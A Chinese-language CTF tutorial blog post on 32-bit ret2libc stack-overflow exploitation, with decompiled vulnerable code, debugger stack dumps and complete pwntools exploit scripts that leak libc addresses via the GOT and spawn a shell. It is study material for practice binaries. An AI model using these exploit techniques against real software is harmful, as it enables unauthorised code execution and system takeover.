PWN栈溢出基础——ROP1.5 (ret2libc)

PWN栈溢出基础——ROP1.5(ret2libc)

之前在我写的ROP1.0中介绍了ret2text、ret2shellcode、ret2syscall,本次介绍ret2libc。

原理

ret2libc即控制函数的执行libc中的函数,通常是返回至某个函数的plt处或者函数的具体位置(即函数对应的got表项的内容)。一般情况下,我们会选择执行system("/bin/sh"),故而此时我们需要知道system函数的地址。

例1.ret2libc1

checksec

    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

有NX,不可用ret2shellcode。

IDA

//漏洞函数长这个样子,偏移也比较容易计算哈
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+1Ch] [ebp-64h]

  setvbuf(stdout, 0, 2, 0);
  setvbuf(_bss_start, 0, 1, 0);
  puts("RET2LIBC >_<");
  gets(&s);
  return 0;
}

gets的栈溢出,偏移计算没什么亮点,可以看ROP1.0。
查看string里边既有system函数,也有/bin/sh,那么思路有了
payload='A'0x6C+'A'4+system_addr+binsh_addr
exp

from pwn import *
p=process('./ret2libc1')
system_addr=0x08048460
binsh_addr=0x08048720
##payload='A'*0x6C+'A'*4+p32(system_addr)+p32(binsh_addr)
##上边的payload是错的
payload='A'*0x6C+'a'*4+p32(system_addr)+'aaaa'+p32(binsh_addr)
p.sendline(payload)
p.interactive()

实际上我们一开始给出的思路是错的,因为需要考虑函数调用栈的结构,如果是正常调用system函数,我们调用的时候会有一个对应的返回地址,这里以'aaaa'作为虚假的地址,其后参数对应的参数内容。
这个题运气好的地方在于同时给出了system和/bin/sh
(>_<,函数调用栈的知识我后边尽量添加上。)

例2.ret2libc2

这个题很好玩哟~
checksec

    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

同样是开启了NX,所以也难不到哪里去。
***IDA

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+1Ch] [ebp-64h]

  setvbuf(stdout, 0, 2, 0);
  setvbuf(_bss_start, 0, 1, 0);
  puts("Something surprise here, but I don't think it will work.");
  printf("What do you think ?");
  gets(&s);
  return 0;
}

x_x,我试着做一做啊
这道题里边有system函数,但是没有/bin/sh 字符串,所以我猜测啊,可不可以调用gets函数读取/bin/sh到了某个地方,然后再调用system函数。
在.bss段里可以找到一个buf2(问题在于,我也不知道怎么看会想到有这个全局变量的?)

.bss:0804A080 ; char buf2[100]
.bss:0804A080 buf2            db 64h dup(?)
.bss:0804A080 _bss            ends

那么存放bin/sh的地方确定了,嘿嘿,0x0804A080
payload='a'0x6C+'a'4+gets_addr+system_addr+buf2_addr+buf2_addr
问题来了,怎么把/bin/sh输进去?
(答:我想的有些复杂了,直接senlind进去就可以了)
exp

from pwn import *
system_addr=0x8048490
gets_addr=0x8048460
buf2_addr=0x804A080

p=process('./ret2libc2')
payload='a'*112+p32(gets_addr)+p32(system_addr)+p32(buf2_addr)+p32(buf2_addr)
p.sendline(payload)
p.sendline('/bin/sh')
p.interactive()

问题来了,payload的布局为什么是这样的,我会从两部分来说,一部分是函数调用,另一部分是实际调试的时候的变化。(函数调用的知识最后再说)
事后调试


依旧在leave指令处下断点(详见ROP1.0),执行ret之后执行gets函数,这个应该好理解。在backtrace中可见,执行Gets之后会去执行system函数。
栈中数据如下:

00:0000│ esp  0xffb8cc00 —▸ 0xffb8cc1c ◂— 0x61616161 ('aaaa')
01:0004│      0xffb8cc04 ◂— 0x0
02:0008│      0xffb8cc08 ◂— 0x1
03:000c│      0xffb8cc0c ◂— 0x0
... ↓
05:0014│      0xffb8cc14 ◂— 0xc30000
06:0018│      0xffb8cc18 ◂— 0x0
07:001c│      0xffb8cc1c ◂— 0x61616161 ('aaaa')
... ↓
23:008c│      0xffb8cc8c —▸ 0x8048460 (gets@plt) ◂— jmp    dword ptr [0x804a010]
24:0090│      0xffb8cc90 —▸ 0x8048490 (system@plt) ◂— jmp    dword ptr [0x804a01c]
25:0094│      0xffb8cc94 —▸ 0x804a080 (buf2) ◂— 0x0

接着往下单步执行



从栈中取出buf2的地址,并给eax赋值。而在payload总紧跟着gets函数地址的system函数地址是gets函数的返回地址,接着往下单步执行,直到返回



这一步调整栈帧

最后成功执行system函数,并将/bin/sh作为参数

ret2libc3

这个题的难度比较大,麻烦的地方有两个,首先是要计算出偏移地址,随后再劫持程序运行流回到最开始,这个貌似和延迟绑定有关系。另一个是工具使用上的,找到合适的libc地址。
checksec

    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

开启了NX保护
IDA

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+1Ch] [ebp-64h]

  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  puts("No surprise anymore, system disappeard QQ.");
  printf("Can you find it !?");
  gets(&s);
  return 0;
}

gets()函数存在栈溢出漏洞,当前偏移很好确定。
查看string


里边没有system,没有/bin/sh。(话说,这里都把GLIBC的版本给出来了,不是么?)
如何得到system函数的地址呢?这里就主要利用了两个知识点
(1)system函数属于Libc,而libc.so动态链接库中的函数之间相对偏移是固定的。
(2)即使程序有ASLR保护,也只是针对于地址中间位进行随机,最低的12位并不会发生改变。(虽说这道题并没有开启PIE)
如果我们知道libc中某个函数的地址,那么我们就可以确定该程序利用的libc,从而得出system函数的地址。
确定system地址
如何得到Libc中的某个函数的地址呢?一般常用的方法是采用got表泄露,即输出某个函数对应的got表项的内容。当然,由于Libc的延迟绑定机制,我们需要泄露已经执行过的函数的地址。(延迟绑定机制的原理最后再说)
泄露函数地址
计算溢出点,便可以先将部分函数泄露出来。这里选择泄露_libc_start_main和puts两个函数地址

##ret2libc3_exp1.py
from pwn import *
p=process('./ret2libc3')
elf=ELF('./ret2libc3')
puts_plt = elf.plt['puts']
libc_start_main_got = elf.got['__libc_start_main']
main = elf.symbols['main']
puts_got = elf.got['puts']

print "leak libc_start_main_got addr and return to main again"
payload1 = 'a' * 112 + p32(puts_plt) + p32(main) +p32(
libc_start_main_go)
p.recvuntil('Can you find it !?')
p.sendline(payload1)

print "get the related addr"
libc_start_main_addr = u32(p.recv()[0:4])     
print("addr:" + hex(libc_start_main_addr))

payload中首先填充112个'a'到达返回地址,修改返回地址为puts()函数,中间放的p32(main)可以换成别的,最后libc_start_main_go是需要泄露的函数地址。


可见,得出了libc_start_main的地址,在线查找对应的Libc版本,
链接:https://libc.blukat.me/
image.png

可见版本为libc6-2.26,可以看到这个数据库给出了下载链接并且给出了几个函数的偏移地址。将对应的Libc文件下载下来,重命名为libc.so,移动到和目标文件的同一目录下。
整体的思路
·泄露__libc_start_main地址
·获取libc版本
·获取system地址与/bin/sh的地址
·再次执行源程序
·触发栈溢出执行system('bin/sh')
exp

##ret2libc3_exp.py
#!/usr/bin/env python
from pwn import *
from LibcSearcher import LibcSearcher
sh = process('./ret2libc3')

ret2libc3 = ELF('./ret2libc3')

puts_plt = ret2libc3.plt['puts']
libc_start_main_got = ret2libc3.got['__libc_start_main']
main = ret2libc3.symbols['main']

print "leak libc_start_main_got addr and return to main again"
payload = flat(['A' * 112, puts_plt, main, libc_start_main_got])
sh.sendlineafter('Can you find it !?', payload)

print "get the related addr"
libc_start_main_addr = u32(sh.recv()[0:4])
libc=ELF('libc.so')
libcbase=libc_start_main_addr-libc.symbols['__libc_start_main']
system_addr=libcbase + libc.symbols['system']
binsh_addr=libcbase + 0x17e0af

print "get shell"
payload = flat(['A' * 104, system_addr, 0xdeadbeef, binsh_addr])
sh.sendline(payload)

sh.interactive()

exp分为两部分,第一,通过栈溢出获得libc偏移地址并控制程序流程重新回到main函数开始。第二,根据偏移地址计算出system和/bin/sh的地址,利用栈溢出geyshell。
注意第二次的时候,偏移地址不是112,而是104,这是因为第二次进入主函数之后,栈帧发生了变化。
事后调试
先把第二次的payload的偏移设为112,看看会发生什么


可见,第一次的payload发挥作用了,将调用puts函数,并且之后返回到main函数开始处。

可见,第二次的payload并未能改变程序流程,当前
EBP:0xffca3a80,如果你回过头去看,第一次执行main函数的ebp为0xffca3a78。0xffca3a80-0xffca3a78=8
这时候就是偏移出了问题,可见多出了8个a,修改偏移为104即可。
这里的偏移104也可以根据cyclic得出

$cyclic 300
$gdb ./...
$r
$cyclic -l "0x******"

为什么偏移少8
__start是程序的起始。
直接用main_plt=elf.symbols['_start']的话,仍然填充为112
使用main需要减去8
可以这样计算:ebp+0x4-(esp+0x1C)(esp+0x1c是字符串的起点),ebp+4的目的是从main开始调用。

补充知识

函数调用

栈空间是计算机内存中一段确定的内存区域,也有着一些指针指向相应的内存地址,在x86架构中这个指针位于ESP寄存器,而在x86-64平台上为RSP寄存器。在计算机底层,栈主要的几个用途是:(1)存储局部变量;(2)执行CALL指令调用函数时,保存函数地址以便函数结束时正确返回;(3)传递函数参数。
使用栈保存函数返回地址
CALL指令调用某个子函数时,下一条指令的地址作为返回地址被保存到栈中,等价于PUSH返回地址与JMP函数地址的指令序列。
被调用函数结束时,程序将执行RET指令跳转到这个返回地址,将控制权交还给调用函数,等价于POP返回地址与JMP返回地址的指令序列。因此无论调用了多少层子函数,由于栈后入先出的特性,程序控制权最终会回到main函数。
调用子函数这一行为使用PROC与ENDP伪指令来定义,且需要分配一个有效的标识符,所有的x86汇编程序中都包含标识符为main的函数,这是程序的入口点,main函数不需要使用RET指令,但其他的被调用函数结束时都需要通过RET指令被控制权交还调用函数。

1  ...                  .code
2  ...                  main PROC
3  0x00008000  MOV EBX,EAX
4  ...                    ...
5  0x00008020  CALL testFunc
6  0x00008025  MOV EAX,EBX
7  ...                    ...
8  ...                    main ENDP
9  ...                    ...
10  0x00008A00  testFunc PROC
11  ...                    MOV EAX,EDX
12  ...                  ...
13  ...                  RET
14  ...                  testFunc  ENDP

通过上面的代码片段,可以看到栈是如何保存函数返回地址的。当第5行的CALL指令执行时,下一条指令的地址0x00008025将被压入栈中,被调用函数testFunc的地址0x00008A00则被加载至EIP寄存器,如所示。


当执行第13行的RET指令时,将分为两个过程,第一步,ESP指向的数据将被弹出至EIP寄存器;第二步,ESP的数值增加,将指向栈中的上一个值。如图
所示

使用栈传递函数参数
在x86平台程序中,最常见的参数传递调用约定是cdecl,其他的还是stdcall、fastcall和thiscall等。需要注意的是,我们可以使用栈传递参数,但并不代表栈式唯一传递参数的方式,在x86-64上,还可以通过寄存器传递参数。
假设函数func有三个参数arg1,agr2和arg3,那么在cdecl约定下通常如下所示:

push arg3
push arg2
push arg1
call func

此外,被调用函数并不直到调用函数向它传递了多少参数,因此对于参数数量可变的函数来说,就需要说明符标示格式化说明,明确参数信息。常见的printf函数就是参数数量可变的函数之一。如果我们在c语言中这样使用pinrtf函数:
printf("%d,%d,%d",9998)
那么得到的结果不仅会显示整数9998,还将显示出数据栈内9998之后的两个地址的随机数(通常这种数据是被调用函数内部的局部变量。)

延迟绑定

动态链接比静态链接要慢1%~5%,根据动态链接中PIC(与地址无关代码)的原理PIC,可以直到造成该情况的原因如下:
(1)动态链接下对于全局和静态数据的访问都要进行复杂的GOT(全局偏移表)定位,然后间接寻址;对于模块间的调用也要先定位GOT,然后再进行跳转。
(2)动态链接的链接工作是在运行时完成,即程序开始运行时,动态链接器都要进行一次链接工作,而链接工作需要复杂的重定位等工作,减慢了启动速度。
针对上述第二个减慢动态链接的原因,提出了延迟绑定(Lazy Binding)的要求:即函数第一次被用到时才进行绑定。通过延迟绑定大大加快了程序的启动速度。而 ELF 则使用了PLT(Procedure Linkage Table,过程链接表)的技术来实现延迟绑定。
当在程序运行过程中需要调用动态链接器来为某一个第一次调用的外部函数进行地址绑定时,需要提供给动态链接器的内容有:发生地址绑定需求的地方(文件名)以及需要绑定的函数名也即是说,假设动态链接器使用某一个函数来进行地址绑定工作,那它的函数原型应该为: lookup(module,function)。
PLT的简单实现
原来的做法:调用某一个外部函数时,通过GOT中的相应项进行间接跳转。
PLT的做法:调用函数时,通过一个PLT项的结构来进行跳转,每一个外部函数中都有一个相应的项。

bar@plt:
jmp *(bar@GOT)              //如果是第一次链接,该语句的效果只是跳转到下一句指令。否则,将会跳转到 bar()函数对应的位置
push n              //压栈 n,n 是 bar 这个符号在重定位表 .rel.plt 中的下标
push moduleID               // 压栈当前模块的模块ID,上述例子中的 liba.so
jump _dl_runtime_resolve()      //跳转到动态链接器中的地址绑定处理函数

先说这么多把,后边我再续一下,目前关于延迟绑定没找到好的资料。

后记

参考链接
https://www.freesion.com/article/5780503138/
https://www.bilibili.com/video/BV1pb411P7vG?from=search&seid=7059356990447699539
https://wiki.x10sec.org/pwn/linux/stackoverflow/basic-rop-zh/#3
https://blog.csdn.net/virtual_func/article/details/48789947

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 215,076评论 6 497
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 91,658评论 3 389
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 160,732评论 0 350
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 57,493评论 1 288
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 66,591评论 6 386
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 50,598评论 1 293
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,601评论 3 415
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,348评论 0 270
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,797评论 1 307
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,114评论 2 330
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,278评论 1 344
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,953评论 5 339
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,585评论 3 322
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,202评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,442评论 1 268
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 47,180评论 2 367
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,139评论 2 352

推荐阅读更多精彩内容